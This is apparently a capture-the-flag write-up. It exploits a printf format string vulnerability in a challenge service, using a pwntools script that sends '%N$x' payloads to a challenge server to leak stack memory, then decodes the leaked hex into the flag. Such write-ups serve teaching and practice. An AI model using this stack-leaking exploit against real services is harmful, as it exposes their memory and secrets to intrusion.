After inspecting the executable, we notice that the function printf is used when i==3 in the loop. A bit weird, so we look up to see if this function is somehow vulnerable and yes, it is. For example, if we feed `%1$x`, it will leak data from the stack, allowing us to read the contents of specific memory addresses, making it a format string vulnerability.

To exploit, we can make a script to try mumbers until we find where the flag is stored:

```python
from pwn import *

ip = '35.246.227.46'
port = 32510

def interact_with_service(number):
    conn = remote(ip, port)
    context.log_level = 'error'
    conn.recvuntil(b'?')
    conn.recvline()
    conn.sendline(b'a')
    conn.recvuntil(b'?')
    conn.recvline()
    conn.sendline(b'a')
    conn.recvuntil(b'?')
    conn.recvline()
    payload = f'%{number}$x'
    conn.sendline(payload.encode())
    conn.recvline()
    response = conn.recvline().decode()
    response = response.split('I')[0]
    if response != "0":
        print(f'Response for %{number}$x: {response}')
    conn.close()

for i in range(1, 1000):
    interact_with_service(i)
```

At one point, we get:

Response for %136$x: 7b667463

Response for %137$x: 36646166

Response for %138$x: 30343335

Response for %139$x: 66303831

Response for %140$x: 63346236

Response for %141$x: 39346636

Response for %142$x: 31646164

Response for %143$x: 61643833

Response for %144$x: 34646565

Response for %145$x: 66633734

Response for %146$x: 39663332

Response for %147$x: 33363439

Response for %148$x: 31383435

Response for %149$x: 35323966

Response for %150$x: 30663135

Response for %151$x: 63626435

Response for %152$x: 30373036

Response for %153$x: 5858587d

To get the flag, we need to flip each response, concatenate them all and hex decode them:

```
responses = [
    "7b667463", "36646166", "30343335", "66303831", "63346236", "39346636",
    "31646164", "61643833", "34646565", "66633734", "39663332", "33363439",
    "31383435", "35323966", "30663135", "63626435", "30373036", "5858587d"
]
def flip_hex_string(hex_string):
    return ''.join([hex_string[i:i+2] for i in range(0, len(hex_string), 2)][::-
1])
flipped_responses = [flip_hex_string(response) for response in responses]
concatenated_flipped_hex = ''.join(flipped_responses)
decoded_result = bytes.fromhex(concatenated_flipped_hex).decode('utf-8',
errors='ignore')
print(decoded_result)
```

And the decoded_result contains the flag.

Made with love by: AndreiCat